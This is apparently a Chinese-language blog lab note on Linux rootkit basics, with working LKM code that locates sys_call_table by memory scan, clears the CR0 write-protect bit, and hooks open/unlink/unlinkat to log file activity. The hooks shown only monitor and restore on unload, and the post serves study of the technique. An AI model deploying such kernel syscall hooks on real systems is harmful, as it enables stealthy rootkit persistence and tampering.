Linux Rootkit实验|01 基于修改系统调用表的Hook

Linux Rootkit实验|01 基于修改系统调用表的Hook

文章目录

  • Linux Rootkit实验|01 基于修改系统调用表的Hook
    • 实验说明
    • 实验环境
    • 实验过程
      • 一 基于修改sys_call_table的系统调用挂钩
        • 1 寻找sys_call_table内存地址
        • 2 关掉写保护
        • 3 修改sys_call_table
      • 二 基于系统调用挂钩的初级文件监视
    • 实验问题
    • 实验总结与思考
    • 参考资料
      • 已参考
      • 拓展阅读

08 May 2017

夜阑风静縠纹平。小舟从此逝,江海寄余生。

实验说明

Rootkit的一种经典形式是通过Hook系统调用实现。在本次实验中,我们将实现简单的系统调用挂钩方案,并且基于这个方案实现最基本的文件监视工具,同时加深对LKM的理解。

实验环境

uname -a:
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux

GCC version:6.1.1

上述环境搭建于虚拟机,另外在没有特殊说明的情况下,均以root权限执行。

注:后面实验参考的是4.11的源码,可以在线阅览。

实验过程

一 基于修改sys_call_table的系统调用挂钩

Linux内核在内存中维护了一份系统调用向量表,它是一个元素为函数指针的一维数组,定义见arch/x86/entry/syscall_64.c

asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
	/*
	 * Smells like a compiler bug -- it doesn't work
	 * when the & below is removed.
	 */
	[0 ... __NR_syscall_max] = &sys_ni_syscall,
#include 
};

所以最直接的思路就是修改这张表,把对应的系统调用地址更换为我们的函数地址。问题转化为三个子问题:

  • 找到这张表在内存中的地址
  • 这张表所在内存有写保护,我们要关掉写保护
  • 修改这张表(之后要开启写保护)

接下来按这个步骤进行实验。

1 寻找sys_call_table内存地址

寻找系统调用表的地址的方法不止一种。这里先介绍一种,并为其他方法留坑。

要注意的一点是,只有内核中导出的函数和变量符号才能被我们直接引用,没有导出的那些对我们是透明的。参考网友的评论可知,在2.6内核后sys_call_table是不可见的。

① 暴力搜索

原理:内核内存空间的起始地址PAGE_OFFSET变量和sys_close系统调用对我们是可见的(sys_open/sys_read等并未导出);系统调用号(即sys_call_table中的元素下标)在同一ABI(x86与x64属于不同ABI)中是高度后向兼容的;这个系统调用号我们也是可以直接引用的(如__NR_close)。所以我们可以从内核空间起始地址开始,把每一个指针大小的内存假设成sys_call_table的地址,并用__NR_close索引去访问它的成员,如果这个值与sys_close的地址相同的话,就可以认为找到了sys_call_table的地址(但是师傅说这种方法可能被欺骗)。

我们先简单看一下PAGE_OFFSET的定义(x64):

#define PAGE_OFFSET		((unsigned long)__PAGE_OFFSET)
#define __PAGE_OFFSET           page_offset_base
unsigned long page_offset_base = __PAGE_OFFSET_BASE;
EXPORT_SYMBOL(page_offset_base);
#define __PAGE_OFFSET_BASE      _AC(0xffff880000000000, UL)

接下来看我们的搜索函数:

unsigned long **get_sys_call_table(void)
{
	unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    for(; (unsigned long)entry < ULONG_MAX; entry += 1){
    	if(entry[__NR_close] == (unsigned long *)sys_close)
        	return entry;
    }
    return NULL;
}

测试用LKM模块代码如下(后面将在此模块上添加代码):

#include 
#include 
#include 

unsigned long **real_sys_call_table;

int init_module(void)
{
	printk("%s\n", "Greetings the world!\n");
    real_sys_call_table = get_sys_call_table();
    printk("PAGE_OFFSET = %lx\n", PAGE_OFFSET);
    printk("sys_call_table = %p\n", real_sys_call_table);
    printk("sys_call_table - PAGE_OFFSET = %lu MiB\n",\
    	((unsigned long)real_sys_call_table - \
         (unsigned long)PAGE_OFFSET) / 1024 / 1024);
    return 0;
}

void cleanup_module(void)
{
	printk("%s\n", "Farewell the World!");
    return;
}

Makefile:

TARGET = sys_call_table
obj-m := ${TARGET}ko.o
${TARGET}ko-objs := ${TARGET}.o 

default:
        ${MAKE} modules \
                --directory "/lib/modules/$(shell uname --release)/build" \
                M="$(shell pwd)"

clean:
        ${MAKE} clean \
                --directory "/lib/modules/$(shell uname --release)/build" \
M="$(shell pwd)"

我们没有使用第一次实验中的module_initmodule_exit两个宏去指定入口函数和出口函数,那样也是可以的,这里只是使用了默认的入口函数名和出口函数名。

测验结果如下:

Linux Rootkit实验|01 基于修改系统调用表的Hook_第1张图片

② 从/boot/System.map提取

暂略,见【拓展阅读】3。

③ 使用未导出函数机器码搜索

暂略,见【拓展阅读】4。

2 关掉写保护

找到地方了,下面要关闭写保护。CR0寄存器从0数的第16比特控制了对只读内存的写保护是否开启,详见【已参考】3。巧的是,我们可以用内核自己的read_cr0/write_cr0去读写CR0,并用它提供的clear_bit/set_bit接口去做位运算。我们把它们封装一下:

void disable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0(cr0);
}

void enable_write_protection(void)
{
    unsigned long cr0 = read_cr0();
    set_bit(16, &cr0);
    write_cr0(cr0);
}

接着在入口函数中添加一些测试代码:

unsigned long cr0;
cr0 = read_cr0();
printk("Old: %d\n", test_bit(X86_CR0_WP_BIT, &cr0));
disable_write_protection();
cr0 = read_cr0();
printk("New: %d\n", test_bit(X86_CR0_WP_BIT, &cr0));
enable_write_protection();
cr0 = read_cr0();
printk("Now: %d\n", test_bit(X86_CR0_WP_BIT, &cr0));

测试结果如下:

Linux Rootkit实验|01 基于修改系统调用表的Hook_第2张图片

3 修改sys_call_table

至此,修改就很简单了。配合后面第二部分文件监视,我们将修改三个系统调用:sys_open/sys_unlink/sys_unlinkat。我们的思路是,在入口函数中先备份原始的系统调用,然后修改成我们自己的。在出口函数中恢复原始的系统调用。

修改

disable_write_protection();
real_open = (void *)real_sys_call_table[__NR_open];
real_sys_call_table[__NR_open] = (unsigned long*)fake_open;
real_unlink = (void *)real_sys_call_table[__NR_unlink];
real_sys_call_table[__NR_unlink] = (unsigned long*)fake_unlink;
real_unlinkat = (void *)real_sys_call_table[__NR_unlinkat];
real_sys_call_table[__NR_unlinkat] = (unsigned long*)fake_unlinkat;
enable_write_protection();

恢复

disable_write_protection();
real_sys_call_table[__NR_open] = (unsigned long*)real_open;
real_sys_call_table[__NR_unlink] = (unsigned long*)real_unlink;
real_sys_call_table[__NR_unlinkat] = (unsigned long*)real_unlinkat;
enable_write_protection();

至此,系统调用挂钩就完成了。缺少的函数定义和声明在下一部分加上,同时在下一部分一并演示。

二 基于系统调用挂钩的初级文件监视

这里补上缺少的函数定义:

asmlinkage long (*real_open)(const char __user *, int, umode_t);
asmlinkage long fake_open(const char __user *filename, int flags, umode_t mode)
{
        if((flags & O_CREAT) && strcmp(filename, "/dev/null") != 0){
                printk(KERN_ALERT "open: %s\n", filename);
        }
        return real_open(filename, flags, mode);
}

asmlinkage long (*real_unlink)(const char __user *); 
asmlinkage long *fake_unlink(const char __user *pathname)
{
        printk(KERN_ALERT "unlink: %s\n", pathname);
        return real_unlink(pathname);
}

asmlinkage long (*real_unlinkat)(int, const char __user *, int);
asmlinkage long *fake_unlinkat(int dfd, const char __user *pathname, int flag){
        printk(KERN_ALERT "unlinkat: %s\n", pathname);
        return real_unlinkat(dfd, pathname, flag);
}

编译加载模块,测试结果如下:

Linux Rootkit实验|01 基于修改系统调用表的Hook_第3张图片

Linux Rootkit实验|01 基于修改系统调用表的Hook_第4张图片

中间多出来的/tmp/sh-thd-那两行是我在rm hello时按了tab进行文件名补全才出现的,应该是补全功能产生的临时文件。

unlinkunlinkat几乎相同,关于差异可man unlinkat

注意在测试结束后卸载模块,恢复默认系统调用。

实验问题

【问题一】

KERN_ALERT是干嘛的?

【问题二】

前面说暴力搜索系统调用表的方法可能被欺骗,具体是怎样的欺骗方法?

实验总结与思考

配合着源码在线阅览,边做边能查到内核代码的感觉非常棒。

本次实验中的dmesg -C && dmesg -w比第一次实验中的grep要方便许多。

实验过程中深感自己学识浅薄,静水流深呐。一个朋友在FreeBuf文章下评论说:“写得不错。但获取sys_call_table的地址对hook这一大目标并没有起到多大作用,甚至是多余的。”后来他又说:“回复有所歧义,说不需要知道sys_call_table的地址是针对2.6以前的内核版本,之前的版本可以直接引用sys_call_table变量,多谢提醒!另外除了利用system.map获取table的地址外,可以读取IDT的值,之后找到int $0×80的入口点,后三个字节的值就是table的地址,还没验证。”另一个朋友会说:“这就是Windows的SSDT HOOK在Linux核上的翻版啊。”作者回复说:“是的,眼力不错。都是基于修改系统调用表的系统调用挂钩。Linux的系统调用表叫sys_call_table / ia32_sys_call_table,Windows的系统调用表大家通常叫SSDT。显然,从学习、实践与理解的角度看,Linux更适合用来起步。”

他们的讨论让我学到了知识。社区需要的正是这种讨论,正是这种学习的氛围。谢谢各位师傅的分享。

参考资料

已参考

  • Linux Rootkit 系列二:基于修改 sys_call_table 的系统调用挂钩
  • Github:NoviceLive/research-rootkit
  • Control register

拓展阅读

  • linux-insides
  • How does the Linux kernel handle a system call
  • Hooking the Linux System Call Table
  • Kernel-Land Rootkits

tps://0xax.gitbooks.io/linux-insides/content/SysCall/syscall-2.html)

  • Hooking the Linux System Call Table
  • Kernel-Land Rootkits

您已读完,点此回到顶部

你可能感兴趣的:(linux,算法,运维)